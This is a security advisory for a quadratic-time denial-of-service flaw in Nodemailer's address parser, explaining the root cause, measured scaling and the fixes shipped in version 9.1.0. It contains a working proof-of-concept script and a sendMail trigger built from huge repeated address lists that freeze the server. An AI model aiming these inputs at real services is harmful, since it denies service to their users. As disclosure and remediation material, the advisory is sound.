GHSA-2x7j-588g-ccc2
Nodemailer: Quadratic (O(n²)) time complexity in addressparser allows remote denial of service via a crafted address list
Quick fix
GHSA-2x7j-588g-ccc2 — nodemailer: upgrade to the fixed version with the command below.
npm install nodemailer@9.1.0Details
### Summary
Nodemailer's address parser (`lib/addressparser/index.js`) parses a list of comma‑separated addresses in **quadratic time — O(n²)** in the number of addresses. A single crafted address string (e.g. a `To`, `Cc`, `Bcc`, `From`, or `Reply‑To` value, or any value passed to the exported `addressparser`) therefore consumes CPU proportional to the **square** of its length and blocks Node's single‑threaded event loop for the entire duration, denying service to every other request in the process.
This requires **no special application configuration and no cooperating receiver** — it is entirely inside the parser and triggers on the library's default code path. A ~1.5 MB address value freezes the process for ~25–30 seconds of 100% CPU; the cost grows with the square of the input, so a few‑MB value stalls the server for minutes. It is a distinct issue from the recursion DoS fixed as CVE‑2025‑14874 (that path is guarded by a nesting‑depth cap; this one is a flat, comma‑separated list with no such limit).
### Details
`addressparser` tokenizes the input, splits it into per‑address token groups, and then accumulates the parsed results in a loop (`lib/addressparser/index.js`, ~lines 500–505):
```js addresses.forEach(addr => { const handled = _handleAddress(addr, depth); if (handled.length) { parsedAddresses = parsedAddresses.concat(handled); // <-- line ~503 } }); ```
`Array.prototype.concat` builds and returns a **new** array containing a copy of every element accumulated so far. Reassigning `parsedAddresses = parsedAddresses.concat(handled)` on each of the *n* iterations copies 1 + 2 + 3 + … + n elements in total, i.e. **O(n²)** work (and O(n²) transient allocations) for an input containing *n* addresses. Tokenization and `_handleAddress` themselves are linear; the quadratic blowup is entirely this accumulator.
**Root‑cause proof.** Replacing only that line with an in‑place append and re‑running the exact same input:
``` parsedAddresses = parsedAddresses.concat(handled); -> 100000 addresses: ~6068 ms parsedAddresses.push.apply(parsedAddresses, handled); -> 100000 addresses: ~51 ms (≈119x faster, now linear) ```
**Measured scaling** (nodemailer 9.0.6, `'a@b.com,'.repeat(n)`):
| addresses n | input size | parse time | ratio for 2× input | |---|---|---|---| | 25,000 | 0.19 MB | ~0.35 s | – | | 50,000 | 0.38 MB | ~1.4 s | ×4.0 | | 100,000 | 0.76 MB | ~6–8 s | ×3.9 | | 200,000 | 1.53 MB | ~25–30 s| ×4.1 |
Doubling the input quadruples the time — the signature of O(n²).
**Reachability.** The parser is invoked on any structured‑address header value on the normal send path (`MimeNode.setHeader('To'/'Cc'/'Bcc'/'From'/'Reply-To', value)` → `_parseAddresses` → `addressparser`, and `getEnvelope()`), so a single `transport.sendMail({ to: <crafted string> })` triggers it. It is also reached directly through the **exported** `require('nodemailer/lib/addressparser')`, which many applications call to validate or display user‑supplied recipient lists. Confirmed via the public API: `setHeader('To', 'a@b.com,'.repeat(80000))` + `getEnvelope()` blocks for ~3.9 s.
**Suggested fix:** accumulate in place instead of rebuilding the array each iteration, e.g. `parsedAddresses.push.apply(parsedAddresses, handled);` (or `for (const h of handled) parsedAddresses.push(h);`). Optionally cap the number of addresses / input length before parsing.
### PoC
Environment: Node.js ≥ 18 and the published `nodemailer@9.0.6`. No transport, network, or configuration required — the cost is in parsing.
`poc-dos.js`: ```js 'use strict'; const addressparser = require('nodemailer/lib/addressparser');
console.log('addresses | input size | parse time'); for (const n of [25000, 50000, 100000, 200000]) { const payload = 'a@b.com,'.repeat(n); // n valid, comma-separated recipients const t0 = process.hrtime.bigint(); addressparser(payload); // blocks synchronously const ms = Number(process.hrtime.bigint() - t0) / 1e6; console.log(String(n).padStart(9) + ' | ' + (payload.length / 1048576).toFixed(2) + ' MB | ' + ms.toFixed(0).padStart(7) + ' ms'); } ```
Run: ``` npm init -y && npm install nodemailer@9.0.6 node poc-dos.js ```
Actual output (nodemailer 9.0.6): ``` addresses | input size | parse time 25000 | 0.19 MB | 381 ms 50000 | 0.38 MB | 1435 ms 100000 | 0.76 MB | 7949 ms 200000 | 1.53 MB | 25154 ms ```
Equivalent trigger through the normal send API (freezes the event loop): ```js const nodemailer = require('nodemailer'); nodemailer.createTransport({ jsonTransport: true }) .sendMail({ from: 'a@b.com', to: 'a@b.com,'.repeat(150000), subject: 'x', text: 'y' }); // ~15+ seconds of 100% CPU inside addressparser before anything is sent ```
### Impact
* **Who is impacted:** any service that runs Nodemailer (or the standalone `nodemailer/lib/addressparser`) on an address value that can be influenced by an untrusted party — a recipient field in a "send email / invite / share" feature, a `Reply‑To`/`From` derived from user input, a contact‑import or mailing‑list parser, or any endpoint that validates addresses with `addressparser`. No authentication, special option, or particular receiver is needed.
## Patched in 9.1.0
Three separate quadratic paths were fixed, not one:
* `addressparser` rebuilt its accumulator with `concat()` on every address ([9116da9](https://github.com/nodemailer/nodemailer/commit/9116da9)). * The display-name merge loop directly below spliced each fragment out of the array, the same shape reached through `'a, b <c@d.com>,'.repeat(n)` (same commit). * `MimeNode#_convertAddresses` checked recipient uniqueness with a linear scan per address ([7cc38af](https://github.com/nodemailer/nodemailer/commit/7cc38af), refined in [34da642](https://github.com/nodemailer/nodemailer/commit/34da642)). This was the most severe of the three and the reported proof of concept did not reach it: `'a@b.com,'.repeat(n)` is one address repeated, which dedupes to a single envelope entry. A list of *distinct* recipients cost O(n^2) here, taking ~35s for 100k even after `addressparser` was fixed.
Fixed alongside: `[].concat.apply` in `_parseAddresses` threw `RangeError: Maximum call stack size exceeded` past roughly 124k recipients, with no crafted input needed ([83b8c48](https://github.com/nodemailer/nodemailer/commit/83b8c48)).
Parsing 200k addresses now takes ~80ms instead of ~25s, and every path scales linearly. A new `maxRecipients` option (default 100000) throws rather than truncating, as a backstop.
Are you affected?
Enter the version of the package you're using.
Affected packages
References
- https://github.com/nodemailer/nodemailer/security/advisories/GHSA-2x7j-588g-ccc2[WEB]
- https://github.com/nodemailer/nodemailer/pull/1848[WEB]
- https://github.com/nodemailer/nodemailer/commit/34da64282dcdc9b0581c721a27ab2fa226673150[WEB]
- https://github.com/nodemailer/nodemailer/commit/7cc38af418ffa6fc7e86085195ca5ca681694b3e[WEB]
- https://github.com/nodemailer/nodemailer/commit/9116da9528c6524cefaed75185602a7e85d20434[WEB]
- https://github.com/nodemailer/nodemailer[PACKAGE]
- https://github.com/nodemailer/nodemailer/releases/tag/v9.1.0[WEB]